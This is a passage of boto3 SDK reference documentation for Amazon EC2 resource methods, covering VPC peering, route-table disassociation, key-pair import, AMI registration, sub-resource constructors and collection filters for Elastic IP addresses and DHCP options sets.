ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id862)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id864)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.Vpc + +Returns + +Vpc resource + +create_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +vpc_peering_connection = ec2.create_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + VpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +- **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +- **VpcId** (_string_) -- The ID of the requester VPC. You must specify this parameter in the request. +- **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id867)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id869)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.VpcPeeringConnection + +Returns + +VpcPeeringConnection resource + +disassociate_route_table(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = ec2.disassociate_route_table( + AssociationId='string', + DryRun=True|False +) + +Parameters + +- **AssociationId** (_string_) -- + + **[REQUIRED]** + + The association ID representing the current association between the route table and subnet or gateway. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +import_key_pair(kwargs_) + +Imports the public key from an RSA key pair that you created with a third-party tool. Compare this with CreateKeyPair , in which AWS creates the key pair and gives the keys to you (AWS keeps a copy of the public key). With ImportKeyPair, you create the key pair and give AWS just the public key. The private key is never transferred between you and AWS. + +For more information about key pairs, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportKeyPair) + +**Request Syntax** + +key_pair_info = ec2.import_key_pair( + DryRun=True|False, + KeyName='string', + PublicKeyMaterial=b'bytes', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **KeyName** (_string_) -- + + **[REQUIRED]** + + A unique name for the key pair. + +- **PublicKeyMaterial** (_bytes_) -- + + **[REQUIRED]** + + The public key. For API calls, the text must be base64-encoded. For command line tools, base64 encoding is performed for you. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the imported key pair. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id873)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id875)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.KeyPairInfo + +Returns + +KeyPairInfo resource + +register_image(kwargs_) + +Registers an AMI. When you're creating an AMI, this is the final step you must complete before you can launch an instance from the AMI. For more information about creating AMIs, see [Creating your own AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Note + +For Amazon EBS-backed instances, CreateImage creates and registers the AMI in a single request, so you don't have to register the AMI yourself. + +You can also use RegisterImage to create an Amazon EBS-backed Linux AMI from a snapshot of a root device volume. You specify the snapshot using the block device mapping. For more information, see [Launching a Linux instance from a backup](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-launch-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +If any snapshots have AWS Marketplace product codes, they are copied to the new AMI. + +Windows and some Linux distributions, such as Red Hat Enterprise Linux (RHEL) and SUSE Linux Enterprise Server (SLES), use the EC2 billing product code associated with an AMI to verify the subscription status for package updates. To create a new AMI for operating systems that require a billing product code, instead of registering the AMI, do the following to preserve the billing product code association: + +- Launch an instance from an existing AMI with that billing product code. +- Customize the instance. +- Create an AMI from the instance using CreateImage . + +If you purchase a Reserved Instance to apply to an On-Demand Instance that was launched from an AMI with a billing product code, make sure that the Reserved Instance has the matching billing product code. If you purchase a Reserved Instance without the matching billing product code, the Reserved Instance will not be applied to the On-Demand Instance. For information about how to obtain the platform details and billing information of an AMI, see [Obtaining billing information](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +If needed, you can deregister an AMI at any time. Any modifications you make to an AMI backed by an instance store volume invalidates its registration. If you make changes to an image, deregister the previous image and register the new image. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RegisterImage) + +**Request Syntax** + +image = ec2.register_image( + ImageLocation='string', + Architecture='i386'|'x86_64'|'arm64', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + EnaSupport=True|False, + KernelId='string', + Name='string', + BillingProducts=[ + 'string', + ], + RamdiskId='string', + RootDeviceName='string', + SriovNetSupport='string', + VirtualizationType='string' +) + +Parameters + +- **ImageLocation** (_string_) -- The full path to your AMI manifest in Amazon S3 storage. The specified bucket must have the aws-exec-read canned access control list (ACL) to ensure that it can be accessed by Amazon EC2. For more information, see [Canned ACLs](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) in the _Amazon S3 Service Developer Guide_ . +- **Architecture** (_string_) -- + + The architecture of the AMI. + + Default: For Amazon EBS-backed AMIs, i386 . For instance store-backed AMIs, the architecture specified in the manifest file. + +- **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **Description** (_string_) -- A description for your AMI. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EnaSupport** (_boolean_) -- + + Set to true to enable enhanced networking with ENA for the AMI and any instances that you launch from the AMI. + + This option is supported only for HVM AMIs. Specifying this option with a PV AMI can make instances launched from the AMI unreachable. + +- **KernelId** (_string_) -- The ID of the kernel. +- **Name** (_string_) -- + + **[REQUIRED]** + + A name for your AMI. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +- **BillingProducts** (_list_) -- + + The billing product codes. Your account must be authorized to specify billing product codes. Otherwise, you can use the AWS Marketplace to bill for the use of an AMI. + + - _(string) --_ +- **RamdiskId** (_string_) -- The ID of the RAM disk. +- **RootDeviceName** (_string_) -- The device name of the root device volume (for example, /dev/sda1 ). +- **SriovNetSupport** (_string_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the AMI and any instances that you launch from the AMI. + + There is no way to disable sriovNetSupport at this time. + + This option is supported only for HVM AMIs. Specifying this option with a PV AMI can make instances launched from the AMI unreachable. + +- **VirtualizationType** (_string_) -- + + The type of virtualization (hvm | paravirtual ). + + Default: paravirtual + + +Return type + +ec2.Image + +Returns + +Image resource + +Sub-resources + +Sub-resources are methods that create a new instance of a child resource. This resource's identifiers get passed along to the child. For more information about sub-resources refer to the [_Resources Introduction Guide_](../../guide/resources.html#subresources-intro). + +ClassicAddress(_public_ip_) + +Creates a ClassicAddress resource.: + +classic_address = ec2.ClassicAddress('public_ip') + +Parameters + +**public_ip** (_string_) -- The ClassicAddress's public_ip identifier. This **must** be set. + +Return type + +[EC2.ClassicAddress](#EC2.ClassicAddress "EC2.ClassicAddress") + +Returns + +A ClassicAddress resource + +DhcpOptions(_id_) + +Creates a DhcpOptions resource.: + +dhcp_options = ec2.DhcpOptions('id') + +Parameters + +**id** (_string_) -- The DhcpOptions's id identifier. This **must** be set. + +Return type + +[EC2.DhcpOptions](#EC2.DhcpOptions "EC2.DhcpOptions") + +Returns + +A DhcpOptions resource + +Image(_id_) + +Creates a Image resource.: + +image = ec2.Image('id') + +Parameters + +**id** (_string_) -- The Image's id identifier. This **must** be set. + +Return type + +[EC2.Image](#EC2.Image "EC2.Image") + +Returns + +A Image resource + +Instance(_id_) + +Creates a Instance resource.: + +instance = ec2.Instance('id') + +Parameters + +**id** (_string_) -- The Instance's id identifier. This **must** be set. + +Return type + +[EC2.Instance](#EC2.Instance "EC2.Instance") + +Returns + +A Instance resource + +InternetGateway(_id_) + +Creates a InternetGateway resource.: + +internet_gateway = ec2.InternetGateway('id') + +Parameters + +**id** (_string_) -- The InternetGateway's id identifier. This **must** be set. + +Return type + +[EC2.InternetGateway](#EC2.InternetGateway "EC2.InternetGateway") + +Returns + +A InternetGateway resource + +KeyPair(_name_) + +Creates a KeyPairInfo resource.: + +key_pair_info = ec2.KeyPair('name') + +Parameters + +**name** (_string_) -- The KeyPair's name identifier. This **must** be set. + +Return type + +[EC2.KeyPairInfo](#EC2.KeyPairInfo "EC2.KeyPairInfo") + +Returns + +A KeyPairInfo resource + +NetworkAcl(_id_) + +Creates a NetworkAcl resource.: + +network_acl = ec2.NetworkAcl('id') + +Parameters + +**id** (_string_) -- The NetworkAcl's id identifier. This **must** be set. + +Return type + +[EC2.NetworkAcl](#EC2.NetworkAcl "EC2.NetworkAcl") + +Returns + +A NetworkAcl resource + +NetworkInterface(_id_) + +Creates a NetworkInterface resource.: + +network_interface = ec2.NetworkInterface('id') + +Parameters + +**id** (_string_) -- The NetworkInterface's id identifier. This **must** be set. + +Return type + +[EC2.NetworkInterface](#EC2.NetworkInterface "EC2.NetworkInterface") + +Returns + +A NetworkInterface resource + +NetworkInterfaceAssociation(_id_) + +Creates a NetworkInterfaceAssociation resource.: + +network_interface_association = ec2.NetworkInterfaceAssociation('id') + +Parameters + +**id** (_string_) -- The NetworkInterfaceAssociation's id identifier. This **must** be set. + +Return type + +[EC2.NetworkInterfaceAssociation](#EC2.NetworkInterfaceAssociation "EC2.NetworkInterfaceAssociation") + +Returns + +A NetworkInterfaceAssociation resource + +PlacementGroup(_name_) + +Creates a PlacementGroup resource.: + +placement_group = ec2.PlacementGroup('name') + +Parameters + +**name** (_string_) -- The PlacementGroup's name identifier. This **must** be set. + +Return type + +[EC2.PlacementGroup](#EC2.PlacementGroup "EC2.PlacementGroup") + +Returns + +A PlacementGroup resource + +Route(_route_table_id_, _destination_cidr_block_) + +Creates a Route resource.: + +route = ec2.Route('route_table_id','destination_cidr_block') + +Parameters + +- **route_table_id** (_string_) -- The Route's route_table_id identifier. This **must** be set. +- **destination_cidr_block** (_string_) -- The Route's destination_cidr_block identifier. This **must** be set. + +Return type + +[EC2.Route](#EC2.Route "EC2.Route") + +Returns + +A Route resource + +RouteTable(_id_) + +Creates a RouteTable resource.: + +route_table = ec2.RouteTable('id') + +Parameters + +**id** (_string_) -- The RouteTable's id identifier. This **must** be set. + +Return type + +[EC2.RouteTable](#EC2.RouteTable "EC2.RouteTable") + +Returns + +A RouteTable resource + +RouteTableAssociation(_id_) + +Creates a RouteTableAssociation resource.: + +route_table_association = ec2.RouteTableAssociation('id') + +Parameters + +**id** (_string_) -- The RouteTableAssociation's id identifier. This **must** be set. + +Return type + +[EC2.RouteTableAssociation](#EC2.RouteTableAssociation "EC2.RouteTableAssociation") + +Returns + +A RouteTableAssociation resource + +SecurityGroup(_id_) + +Creates a SecurityGroup resource.: + +security_group = ec2.SecurityGroup('id') + +Parameters + +**id** (_string_) -- The SecurityGroup's id identifier. This **must** be set. + +Return type + +[EC2.SecurityGroup](#EC2.SecurityGroup "EC2.SecurityGroup") + +Returns + +A SecurityGroup resource + +Snapshot(_id_) + +Creates a Snapshot resource.: + +snapshot = ec2.Snapshot('id') + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +Return type + +[EC2.Snapshot](#EC2.Snapshot "EC2.Snapshot") + +Returns + +A Snapshot resource + +Subnet(_id_) + +Creates a Subnet resource.: + +subnet = ec2.Subnet('id') + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +Return type + +[EC2.Subnet](#EC2.Subnet "EC2.Subnet") + +Returns + +A Subnet resource + +Tag(_resource_id_, _key_, _value_) + +Creates a Tag resource.: + +tag = ec2.Tag('resource_id','key','value') + +Parameters + +- **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +- **key** (_string_) -- The Tag's key identifier. This **must** be set. +- **value** (_string_) -- The Tag's value identifier. This **must** be set. + +Return type + +[EC2.Tag](#EC2.Tag "EC2.Tag") + +Returns + +A Tag resource + +Volume(_id_) + +Creates a Volume resource.: + +volume = ec2.Volume('id') + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +Return type + +[EC2.Volume](#EC2.Volume "EC2.Volume") + +Returns + +A Volume resource + +Vpc(_id_) + +Creates a Vpc resource.: + +vpc = ec2.Vpc('id') + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +Return type + +[EC2.Vpc](#EC2.Vpc "EC2.Vpc") + +Returns + +A Vpc resource + +VpcAddress(_allocation_id_) + +Creates a VpcAddress resource.: + +vpc_address = ec2.VpcAddress('allocation_id') + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +Return type + +[EC2.VpcAddress](#EC2.VpcAddress "EC2.VpcAddress") + +Returns + +A VpcAddress resource + +VpcPeeringConnection(_id_) + +Creates a VpcPeeringConnection resource.: + +vpc_peering_connection = ec2.VpcPeeringConnection('id') + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +Return type + +[EC2.VpcPeeringConnection](#EC2.VpcPeeringConnection "EC2.VpcPeeringConnection") + +Returns + +A VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +classic_addresses + +A collection of ClassicAddress resources.A ClassicAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all ClassicAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.all() + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +filter(kwargs_) + +Creates an iterable of all ClassicAddress resources in the collection filtered by kwargs passed to method.A ClassicAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of ClassicAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +page_size(kwargs_) + +Creates an iterable of all ClassicAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +dhcp_options_sets + +A collection of DhcpOptions resources.A DhcpOptions Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all DhcpOptions resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.all() + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +filter(kwargs_) + +Creates an iterable of all DhcpOptions resources in the collection filtered by kwargs passed to method.A DhcpOptions collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.filter( + DhcpOptionsIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **DhcpOptionsIds** (_list_) -- + + The IDs of one or more DHCP options sets. + + Default: Describes all your DHCP options sets. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - dhcp-options-id - The ID of a DHCP options set. + - key - The key for one of the options (for example, domain-name ). + - value - The value for one of the options. + - owner-id - The ID of the AWS account that owns the DHCP options set. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token for the next page of results. +- 